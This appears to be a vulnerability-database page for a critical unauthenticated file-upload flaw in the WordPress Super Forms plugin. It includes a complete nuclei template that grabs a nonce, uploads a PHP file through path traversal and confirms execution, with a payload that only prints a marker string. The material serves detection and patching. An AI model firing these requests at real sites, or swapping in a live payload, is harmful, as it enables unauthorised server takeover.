Browse / CVEs / CVE-2026-14894
CVE-2026-14894· developer-developer / super-forms· CWE-434
WordPress Super Forms <= 6.3.313 - Arbitrary File Upload
Super Forms – Drag & Drop Form Builder WordPress plugin \u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.
Impact
Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server.
Fix
Update to the latest version of Super Forms – Drag & Drop Form Builder plugin.
How to confirm it
Send: GET /
Positive when: contains "/wp-content/themes"
Send: POST /wp-admin/admin-ajax.php?action=super_create_nonce
Send: POST /wp-admin/admin-ajax.php?action=super_submit_form
Positive when: status_code == 200 || status_code == 302
Send: GET /wp-content/themes/{{wptheme}}/{{rand}}.php
Positive when: status_code == 200 and contains(body, "CVE-2026-14894-sfrce")Run it with nuclei: nuclei -id CVE-2026-14894 -u <target>
The full check
id: CVE-2026-14894
info:
name: WordPress Super Forms <= 6.3.313 - Arbitrary File Upload
author: pdteam,0x_Akoko
severity: critical
description: |
Super Forms – Drag & Drop Form Builder WordPress plugin \u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.
impact: |
Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server.
remediation: |
Update to the latest version of Super Forms – Drag & Drop Form Builder plugin.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e9c7fb16-efbb-41e9-be13-98e96c1e9100
- https://patchstack.com/database/wordpress/plugin/super-forms/vulnerability/wordpress-super-forms-drag-drop-form-builder-plugin-6-3-313-unauthenticated-arbitrary-file-upload-vulnerability
- https://github.com/shinthink/CVE-2026-14894
- https://nvd.nist.gov/vuln/detail/CVE-2026-14894
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-14894
epss-score: 0.03484
epss-percentile: 0.89218
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
vendor: developer-developer
product: super-forms
framework: wordpress
fofa-query: body="wp-content/plugins/super-forms"
shodan-query: http.html:"wp-content/plugins/super-forms"
tags: cve,cve2026,wordpress,wp-plugin,wp,file-upload,rce,intrusive,vkev
variables:
rand: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: word
words:
- "/wp-content/themes"
internal: true
extractors:
- type: regex
name: wptheme
group: 1
regex:
- 'wp-content/themes/([a-zA-Z0-9_-]+)/'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php?action=super_create_nonce HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=super_create_nonce
extractors:
- type: regex
part: body
name: sfnonce
regex:
- '([a-f0-9]{10,})'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php?action=super_submit_form HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
sf_nonce={{sfnonce}}&form_id=1&data=%7B%22sf_upload_field%22%3A%7B%22type%22%3A%22files%22%2C%22files%22%3A%5B%7B%22value%22%3A%22../../../../../themes/{{wptheme}}/{{rand}}.php%22%2C%22datauristring%22%3A%22data%3Aimage/png%3Bbase64%2CPD9waHAgZWNobyAnQ1ZFLTIwMjYtMTQ4OTQtc2ZyY2UnOyBkaWUoKTsgPz4%3D%22%2C%22name%22%3A%22{{rand}}.php%22%2C%22label%22%3A%22attachment%22%7D%5D%7D%7D
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302'
internal: true
- raw:
- |
GET /wp-content/themes/{{wptheme}}/{{rand}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "CVE-2026-14894-sfrce")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e9c7fb16-efbb-41e9-be13-98e96c1e9100
- https://patchstack.com/database/wordpress/plugin/super-forms/vulnerability/wordpress-super-forms-drag-drop-form-builder-plugin-6-3-313-unauthenticated-arbitrary-file-upload-vulnerability
- https://github.com/shinthink/CVE-2026-14894
- https://nvd.nist.gov/vuln/detail/CVE-2026-14894
Use this check only on systems you are authorised to test. Where the data comes from